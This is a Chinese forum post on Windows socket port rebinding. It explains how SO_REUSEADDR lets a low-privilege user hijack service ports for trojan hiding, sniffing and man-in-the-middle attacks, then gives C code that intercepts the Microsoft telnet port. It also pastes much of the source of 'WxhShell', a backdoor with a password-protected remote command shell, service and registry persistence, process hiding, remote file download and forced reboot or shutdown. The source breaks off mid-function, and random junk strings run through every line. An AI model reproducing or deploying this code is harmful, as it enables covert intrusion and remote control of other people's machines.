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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Vo<V!G{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Juj"cjob  
j2SJ4tB /  
  saddr.sin_family = AF_INET; * F%Wf  
EV| 6._Z(D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cdfJa  
wl #Bv,xf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5 G cdz  
e5_a.c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U7O~ch[,  
Bs(\e^}  
  这意味着什么?意味着可以进行如下的攻击: m!5P5U x  
5v"QKI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RUUV"y  
ZIQy}b'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fOCLN$x^  
;@GlJ '$;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yB\}e'J^  
MW8GM}Ho[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6=s!~  
]#;;)K}>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Esvr~)Y  
;<d("Yz:@Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *ndXZ64  
TJ8IYo| D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @9g$+_"ZT  
St9W{  
  #include Y%y=  
  #include z&[Rw<{Psb  
  #include dO}6zQ\  
  #include    a]-F,MJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <QFT>#@T  
  int main() }.ZX.qYX  
  { %!I7tR#;  
  WORD wVersionRequested; }#5V t  
  DWORD ret; .dX ^3  
  WSADATA wsaData; hAtf)  
  BOOL val; b?eIFI&w^l  
  SOCKADDR_IN saddr; \,)('tUE  
  SOCKADDR_IN scaddr; L,c@Z@  
  int err; =B@+[b0Z  
  SOCKET s;  P_6oMR  
  SOCKET sc; 42E]&=Cet  
  int caddsize; lJ;7sgQ#  
  HANDLE mt; ste0:.*qb  
  DWORD tid;   Jt5\  
  wVersionRequested = MAKEWORD( 2, 2 ); ;+] mcgN!  
  err = WSAStartup( wVersionRequested, &wsaData ); (CFm6p'RZ  
  if ( err != 0 ) { ZN#mu]jC?  
  printf("error!WSAStartup failed!\n"); cO%-Av~P  
  return -1; "/[xak!g  
  } low 0@+Q  
  saddr.sin_family = AF_INET; >Lj0B%^EvM  
   =i[_C>U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X c~yr\%]  
xR}^~14Bz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y!s94#OaZ  
  saddr.sin_port = htons(23); jWk1FQte  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =vJ:R[Ilw  
  {  #v+ 2W  
  printf("error!socket failed!\n"); N\{Xhr7d  
  return -1; nR'!Ui  
  } OP0KK^#  
  val = TRUE; "j-Z<F]]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;:2]++G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F!.Z@y P  
  { Qc1NLU9:  
  printf("error!setsockopt failed!\n"); KSkT6_<  
  return -1; 0N.B =j|  
  } pFb }5Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j<|I@0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -P#PyZEH&I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ahl-EVIr<  
4.Luy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -{[5P!  
  { .kKU MyW(  
  ret=GetLastError(); zA/ tHlKc  
  printf("error!bind failed!\n"); &z kuL  
  return -1; FyleK+D?  
  } MiHa'90{K  
  listen(s,2); CqK&J /8  
  while(1) Kz>bfq7  
  { 0?c2=Y   
  caddsize = sizeof(scaddr); WOBLgM,|  
  //接受连接请求 ! R rk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j#4 Iu&YJ  
  if(sc!=INVALID_SOCKET) Sd[%$)scC  
  { tNpBRk(}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [ye!3h&]  
  if(mt==NULL) pY@$N&+W  
  { -u+@5K;^Y  
  printf("Thread Creat Failed!\n"); *UL++/f  
  break; ~4gOv  
  } k*XI/k5Vc  
  } b,C2(?hg  
  CloseHandle(mt); v *'anw&Z  
  } aia`mO]  
  closesocket(s); 24{Tl q3  
  WSACleanup(); -DAkVFsN  
  return 0; uBpnfIe  
  }   @ ;T|`Y=7  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5PF?Eq   
  { 0 PdeK'7  
  SOCKET ss = (SOCKET)lpParam; 80J87\)  
  SOCKET sc; _A]8l52pt  
  unsigned char buf[4096]; }-`N^  
  SOCKADDR_IN saddr; 1,Ams  
  long num; l-^2>K[  
  DWORD val; s"OP[YEke/  
  DWORD ret; gR5 EK$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jGm`Qg{<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ky4 ;7RK  
  saddr.sin_family = AF_INET; HKB?G~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q|7i6jq\*R  
  saddr.sin_port = htons(23); P"-*'q,9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~l {*XM  
  { RBOb/.$  
  printf("error!socket failed!\n"); pg<m0g@W*;  
  return -1; #3VOC#.  
  } {*yFTP"93  
  val = 100; ws/e~ T<c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4Fu:ov ]M  
  { h D5NX  
  ret = GetLastError(); h2S!<  
  return -1; TA4>12C6  
  } Y5mQY5u|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jpwR\"UJ  
  { ;*{"|l qe  
  ret = GetLastError(); Tumv0=q4wd  
  return -1; "mk@p=d  
  } gm^j8  B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a7Mn/ i.  
  { "FD`1  
  printf("error!socket connect failed!\n"); 7C;oMh5  
  closesocket(sc); @ra^0  
  closesocket(ss); srbES6  
  return -1; hZZ  
  } R!)3{cjU@  
  while(1) T6ihEb$C  
  { Ppton+?(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mV>l`&K=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 we("#s1=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '@0Z#A  
  num = recv(ss,buf,4096,0); #}xw *)3  
  if(num>0) Bm>>-nG;  
  send(sc,buf,num,0); rtSG- _[i  
  else if(num==0) d/&W[jJ  
  break; a^vTBJXo  
  num = recv(sc,buf,4096,0); s!IX3rz  
  if(num>0) APgjT' ;P^  
  send(ss,buf,num,0); B3^F $6=  
  else if(num==0) T0;8koj^_  
  break; !+FrU'^  
  } Q6 oM$qiM  
  closesocket(ss); z@<OR$/`L  
  closesocket(sc); u+7S/9q8  
  return 0 ; Vb @lK~  
  } G-6k[-@-v  
c1ga{c`Z  
G+~f  
========================================================== +,Ud 3iS  
$./&GOus  
下边附上一个代码,,WXhSHELL W5*Kq^6Pd  
\V(w=   
========================================================== ""f'L,`{.  
m{gw:69h  
#include "stdafx.h" 8P?p  
oNEjlV*  
#include <stdio.h> <da-iY\5  
#include <string.h> $xU)t&Df  
#include <windows.h> B7QRG0  
#include <winsock2.h> f&L3M)T  
#include <winsvc.h> RW`j^q,c3  
#include <urlmon.h> ;x|7"lE  
h`n) b  
#pragma comment (lib, "Ws2_32.lib") BHu%x|d  
#pragma comment (lib, "urlmon.lib") 0f5c#/7C9  
h/oC9?v  
#define MAX_USER   100 // 最大客户端连接数 rD;R9b"J  
#define BUF_SOCK   200 // sock buffer C+L_f_6]  
#define KEY_BUFF   255 // 输入 buffer pi|=3W  
^`S.Mw.  
#define REBOOT     0   // 重启 S[;d\Z]~  
#define SHUTDOWN   1   // 关机 }`pxs  
>Jk]=_%  
#define DEF_PORT   5000 // 监听端口 ^O3i)GO  
6}cN7wnm j  
#define REG_LEN     16   // 注册表键长度 $L4h'(s  
#define SVC_LEN     80   // NT服务名长度 rT|wZz9$@  
gF>t+"+ x  
// 从dll定义API im3BQIPR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pi hpo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J#DN2y <  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )Drif\FF)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H?_wsh4J  
#|"M  
// wxhshell配置信息 [gDl<6a#4  
struct WSCFG { t-i\gq^  
  int ws_port;         // 监听端口 (PC)R9r5  
  char ws_passstr[REG_LEN]; // 口令 2EH0d6nt  
  int ws_autoins;       // 安装标记, 1=yes 0=no fm0]nT   
  char ws_regname[REG_LEN]; // 注册表键名 #F=!g?  
  char ws_svcname[REG_LEN]; // 服务名 5{xK&[wR*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yBRYEqS+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h0&Oy52  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ._q}lWT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C"QB`f:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" onU\[VvM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l4> c  
`]=0oDG:1!  
}; 'Rb tcFb   
QuIZpP=  
// default Wxhshell configuration jdIAN  
struct WSCFG wscfg={DEF_PORT, OWc~=Cr  
    "xuhuanlingzhe", +a"f)4\  
    1, O+?vQ$z  
    "Wxhshell", (DkfLadB  
    "Wxhshell", hkB|rhJgm  
            "WxhShell Service", Mi} .  
    "Wrsky Windows CmdShell Service", n%6ba77  
    "Please Input Your Password: ", 4-?zW  
  1, ^kK% 8 u  
  "http://www.wrsky.com/wxhshell.exe", OH13@k  
  "Wxhshell.exe" fXe$Ug|5a  
    }; #}lWM%9Dy  
<Gna}ALkg  
// 消息定义模块 K: |-s4=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h])oo:u'/Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {TZV^gT4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DB+oCE<.#  
char *msg_ws_ext="\n\rExit."; bao"iv~z  
char *msg_ws_end="\n\rQuit."; W]5Hc|!^^  
char *msg_ws_boot="\n\rReboot..."; w$Z%RF'p  
char *msg_ws_poff="\n\rShutdown..."; (<}BlL   
char *msg_ws_down="\n\rSave to "; L6"V=^Bq  
8+ ]'2{  
char *msg_ws_err="\n\rErr!"; vSy[lB|)24  
char *msg_ws_ok="\n\rOK!"; ?vfZ>7Q  
Am|)\/K+Z  
char ExeFile[MAX_PATH]; _3IRj=Cs  
int nUser = 0; w6h*dh$w  
HANDLE handles[MAX_USER]; :'FCeS9  
int OsIsNt; DP-0,Gt&Xj  
3RF`F i  
SERVICE_STATUS       serviceStatus; V KxuK0{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2wJa:=$  
7GvMKtuSK  
// 函数声明 CFUn1^?0  
int Install(void); [1mEdtqf*  
int Uninstall(void); NwVhJdo  
int DownloadFile(char *sURL, SOCKET wsh); ]=p^32  
int Boot(int flag); BV6B:=E0  
void HideProc(void); $*:g~#bh  
int GetOsVer(void); -ykD/  
int Wxhshell(SOCKET wsl); * ,zrg%8  
void TalkWithClient(void *cs); L&d.&,CNs'  
int CmdShell(SOCKET sock); RT(ejkLZm  
int StartFromService(void); uu.}<VM.1  
int StartWxhshell(LPSTR lpCmdLine); ?r{hrAx  
sDY+J(Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4Y{;%;-i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ];'7~",Y  
lD{*Z spz  
// 数据结构和表定义 f40OVT@g  
SERVICE_TABLE_ENTRY DispatchTable[] = 9o4h~Imu  
{ 1xr2x;  
{wscfg.ws_svcname, NTServiceMain}, (I#mo2  
{NULL, NULL} EywBT  
}; G)q;)n;*=  
wD:2sri  
// 自我安装 :cf#Tpq"  
int Install(void) K)  Ums-b  
{ !L@<?0x LW  
  char svExeFile[MAX_PATH]; Bg] %  
  HKEY key; Ldj*{t `5  
  strcpy(svExeFile,ExeFile); xS:n  
==BOW\  
// 如果是win9x系统,修改注册表设为自启动 LpL$=9  
if(!OsIsNt) { fv@<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F B:nkUR`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~9"c64 q  
  RegCloseKey(key); H@u5&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e,r7UtjoxR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s7sTY   
  RegCloseKey(key); 1:r#m- \  
  return 0; _u'y7-  
    } &F:.OVzX  
  } 2C1NDrS;}  
} (AX$S vw  
else { uQ&> Wk  
-:kIIK   
// 如果是NT以上系统,安装为系统服务 J"Fp),  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M[+#*f.T}  
if (schSCManager!=0) Yep~C %/}  
{ jSSEfy>^  
  SC_HANDLE schService = CreateService ExMd$`gW  
  ( B*Ey&DAV  
  schSCManager, 1{wbC)  
  wscfg.ws_svcname, ef)zf+o  
  wscfg.ws_svcdisp, ]G D` f  
  SERVICE_ALL_ACCESS, \ @[Q3.VX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |fW_9={1kQ  
  SERVICE_AUTO_START, [ [pt~=0  
  SERVICE_ERROR_NORMAL, K- $,:28  
  svExeFile, $4}G  
  NULL, 'kco. 1{  
  NULL, 7A) E4f'  
  NULL, X# /c7w-  
  NULL, Ni%@bU $  
  NULL @SyL1yFX  
  ); ->X>h_k.Y  
  if (schService!=0) \*Yr&Lm  
  { lD, ~%  
  CloseServiceHandle(schService); "vT$?IoEV  
  CloseServiceHandle(schSCManager); I!Z"X&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i(OeE"YA  
  strcat(svExeFile,wscfg.ws_svcname); #@xB ?u-0q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o(H.1ESk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Vh>cV  
  RegCloseKey(key); =R~zD4{"  
  return 0; 2gZ nrU  
    } HTv#2WX  
  } #0hqfs  
  CloseServiceHandle(schSCManager); qE|syA9  
} .ANR|G  
} QQ_7Q^  
2P)O 0j\/  
return 1; 1q@R04i  
} 4P"bOt5izR  
 jr_z ?  
// 自我卸载 f0j]!g  
int Uninstall(void) <hj2'd U  
{ GmaNi  
  HKEY key; lG Bg8/[  
Lr 5{c5M  
if(!OsIsNt) { <,rOsE6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y4LUC;[n  
  RegDeleteValue(key,wscfg.ws_regname); ggiy{CdR  
  RegCloseKey(key); <9piKtb|L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lSW'qgh  
  RegDeleteValue(key,wscfg.ws_regname); IM7<z,*oF  
  RegCloseKey(key); h6OQeZ.  
  return 0; ]@ke_' "  
  } wpN3-D  
} fISK3t/=C  
} vV*J;%MO  
else { fU?#^Lg  
Lt=32SvTn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \/?J)k3H.  
if (schSCManager!=0) Rw%?@X3m]  
{ #{{p4/:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u '/)l}  
  if (schService!=0) O,|NOz  
  { aK95&Jyw&  
  if(DeleteService(schService)!=0) { xO Aq!,|V  
  CloseServiceHandle(schService); *i^$xjOa  
  CloseServiceHandle(schSCManager); ]K*R[  
  return 0; DU$#tg}{  
  } 5h`LWA B  
  CloseServiceHandle(schService); )\ceanS  
  } 7=9>yba)^  
  CloseServiceHandle(schSCManager); Su"Z3gm5Kw  
} 9Dgs A`{$  
} "C\yM{JZ  
K%+4M#jj5  
return 1; W dD889\  
} op5 `#{  
>e R^G5rn;  
// 从指定url下载文件 W. kcN,  
int DownloadFile(char *sURL, SOCKET wsh) !5C"`@}q>  
{ 1(dKb  
  HRESULT hr; aEvbGo  
char seps[]= "/"; )LIn1o_,  
char *token; & ]] l0B  
char *file; )J> dGIb  
char myURL[MAX_PATH]; 1=C12  
char myFILE[MAX_PATH]; 2/fol TR7  
T|wz%P<J  
strcpy(myURL,sURL); h !K" ;qw  
  token=strtok(myURL,seps); n#b{  
  while(token!=NULL) 5;HGS{`  
  { v-d"dC`  
    file=token; SFd_k9  
  token=strtok(NULL,seps); ){w{#  
  } GT6i9*tb #  
-5+Yz9pv[  
GetCurrentDirectory(MAX_PATH,myFILE); 1' U  
strcat(myFILE, "\\"); H.4ISmXU  
strcat(myFILE, file); ?L7DVwVa,I  
  send(wsh,myFILE,strlen(myFILE),0); 2=n`z) R  
send(wsh,"...",3,0); 3PZ(Kn<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T+@i;M  
  if(hr==S_OK) Yq6 @R|u  
return 0; CYgokS\=,  
else &Wcz~Gx3Q  
return 1; Se'SDJl=  
4n6AK`E  
} =<3HOOC  
b7dsi|Yo  
// 系统电源模块 )Bn }|6`  
int Boot(int flag) k}H7bZug  
{ aH?Ygzw  
  HANDLE hToken; <_<zrXc]  
  TOKEN_PRIVILEGES tkp; KFHZ3HZ:>  
T=tW'tlT\v  
  if(OsIsNt) { v0oVbHO5<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ' QG`^@Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >pLJ ,Z  
    tkp.PrivilegeCount = 1; )MF@'zRK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5%WAnh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &d2L9kTk  
if(flag==REBOOT) { }bca-|N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )5~T%_  
  return 0; b)Da6fp  
} 7 uL.=th'  
else { U|tacO5w`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Od~uYOL/B  
  return 0; */aQ+%>jf  
} $&Vba@v  
  } 6[k<&;  
  else { TS9<uRO0  
if(flag==REBOOT) { (LmU\Pe%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cYK:Y!|`F  
  return 0; mI,lW|/l,  
} /\-}-"dm  
else { y!P!Fif'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SR?mSpq5  
  return 0; 7`J2/(  
} n'V{  
} o/o6|[=3  
:G@z?ZJ[  
return 1; -o%? ]S  
} r YKGX?y  
zY:3*DiM  
// win9x进程隐藏模块 f;BY%$  
void HideProc(void) [(x*!,=  
{ 4h|*r !  
g]: [^p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hQ<7k'V  
  if ( hKernel != NULL ) cWx`y><  
  { y*+8Z&i.:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?SFQx \/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Q=y'<  
    FreeLibrary(hKernel); SgewAng?@o  
  } L}rZ1wV6  
GWuKDq  
return; G)I` M4}*n  
} }6-olVg  
 d=^QK{8  
// 获取操作系统版本 Pb?vi<ug+  
int GetOsVer(void) :FI D ,  
{ F ><_gIT  
  OSVERSIONINFO winfo; mN]WjfII  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;UTM9.o[  
  GetVersionEx(&winfo); ljZRz$y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lb'tVO  
  return 1; C_Q3^mLx  
  else A_S7z*T  
  return 0; JH]S'5X8K  
} 07:V[@'  
~M^[  
// 客户端句柄模块 r_$*euh@  
int Wxhshell(SOCKET wsl) WyatHC   
{ ?K7uy5Y  
  SOCKET wsh; r6uN6XCM  
  struct sockaddr_in client; u:|^L]{  
  DWORD myID; XyN " Jr  
$+GDPYm'  
  while(nUser<MAX_USER) u*2?Gky  
{ zO"De~[9  
  int nSize=sizeof(client); S:j{R^$k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %P s.r{%{  
  if(wsh==INVALID_SOCKET) return 1; C @<T(`o  
r'{N_|:vv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2_HIn  
if(handles[nUser]==0) xA7~"q&u  
  closesocket(wsh); tcXXo&ZS  
else MF<ZB_@  
  nUser++; ]?1_.Wjtt  
  } (J5} 1Q<K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,3_Sf?  
]>(pj9)  
  return 0; J";N^OR{A%  
} oMg-.!6  
Gl'G;F$Y-  
// 关闭 socket W/BPf{U  
void CloseIt(SOCKET wsh) ;]grbqXVE  
{ /.7RWy`  
closesocket(wsh); Pp!4Ak4TT9  
nUser--; ZtO$kK%q;  
ExitThread(0); 8k-]u3  
} e7"T37  
X$6NJ(2G  
// 客户端请求句柄 2T+-[}*  
void TalkWithClient(void *cs) \O "`o4  
{ kHhp;<  
Ny7*MZ-  
  SOCKET wsh=(SOCKET)cs; T>% 5<P  
  char pwd[SVC_LEN]; hJxL|5Uo  
  char cmd[KEY_BUFF]; rc[~S  
char chr[1]; 9qCE{ [(  
int i,j; m_0y]RfG  
.8s-)I  
  while (nUser < MAX_USER) { wX}p6yyN  
\:{K",2  
if(wscfg.ws_passstr) { YOLzCnI4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uT, i&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [5L?#Y  
  //ZeroMemory(pwd,KEY_BUFF); C`_/aR6  
      i=0; i,ZEUdd*_  
  while(i<SVC_LEN) { 2k<#e2  
7OmT^jV2  
  // 设置超时 *tj(,:!  
  fd_set FdRead; I{dy,\p  
  struct timeval TimeOut; j3 6Y Iz$a  
  FD_ZERO(&FdRead); Z}!'fX."  
  FD_SET(wsh,&FdRead); GgY8\>u  
  TimeOut.tv_sec=8; #fa,}aj  
  TimeOut.tv_usec=0; ;GG,Z#\m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c|.te]!ds  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BM?!?  
kE<CuO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l,h`YIy  
  pwd=chr[0]; #d,)Qe[  
  if(chr[0]==0xd || chr[0]==0xa) { }~zDcj_  
  pwd=0; )/ 'WboL  
  break; td7(444]  
  } %z@ Z^Jv  
  i++; b3-j2`#  
    } +7w5m  
m0;j1-t  
  // 如果是非法用户,关闭 socket Lp:VU-S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xS_;p9{E  
} ' F.^ 8/>  
lfDd%.:q4S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xP'0a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QnOgF3t  
N 5Om~D  
while(1) { )-!)D  
~xxq.rL"  
  ZeroMemory(cmd,KEY_BUFF); <e BmCrJ  
%" bI2  
      // 自动支持客户端 telnet标准   &2u |7U.  
  j=0; b 3Q6-  
  while(j<KEY_BUFF) { 2{=D)aC$f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =5Db^  
  cmd[j]=chr[0]; ~_JfI7={Jn  
  if(chr[0]==0xa || chr[0]==0xd) { PI%l  
  cmd[j]=0; UAXp;W`  
  break; 0>CG2SRn  
  } [ K/l;Zd  
  j++; C <:g"F:k  
    } lfM vNv  
KDEyVYO:  
  // 下载文件 n~yHt/T  
  if(strstr(cmd,"http://")) { QxW+|Gt._  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }O~D3z4l0  
  if(DownloadFile(cmd,wsh)) q]: 72+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sG#Os  
  else ?1\I/ 'E9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wicsf<]  
  } #Q7:Mu+  
  else { L^t%p1R  
 DlCN  
    switch(cmd[0]) { B)@Xz<Q  
  rT4Q^t"  
  // 帮助 uxL+oP0  
  case '?': { QDYuJ&!h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]>)shH=Yx  
    break; l[[`-f8j  
  } _Kaqx"D  
  // 安装 :MF`q.:X  
  case 'i': { ku m@cA  
    if(Install()) f3! Oc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %TN$   
    else ,YM=?No  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rR@]`@9  
    break; l=XZBe*[g'  
    } ?@@$)2_*u  
  // 卸载 }Y!V3s1bm  
  case 'r': { #g$I>\O<  
    if(Uninstall()) )wjpxr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i695P}J2  
    else Pq+|*Y<|&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X~VI}dJ  
    break; HqV55o5f'  
    } PH%t#a!j3/  
  // 显示 wxhshell 所在路径 *c4OhMU(  
  case 'p': { p9i7<X2&  
    char svExeFile[MAX_PATH]; no-";{c  
    strcpy(svExeFile,"\n\r"); 6 DQOar>d  
      strcat(svExeFile,ExeFile); Cu%BU}(  
        send(wsh,svExeFile,strlen(svExeFile),0); 4qDO(YWf  
    break; 4 `l$0m@>  
    } A7Y CSjB  
  // 重启 {91Y;p C  
  case 'b': { <#BK(W~$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y]{b4e  
    if(Boot(REBOOT)) 51eZfJB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A*0X ~6W  
    else { K3:z5j.X  
    closesocket(wsh); 4S 4MQ  
    ExitThread(0); Nk -xnTZ"  
    } 8 t=H  
    break; _"Y7}A\9  
    } }*!L~B!  
  // 关机 QyTN  V  
  case 'd': { -ABj>y[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U*K4qJ6U  
    if(Boot(SHUTDOWN)) ,s%+vD$O^  
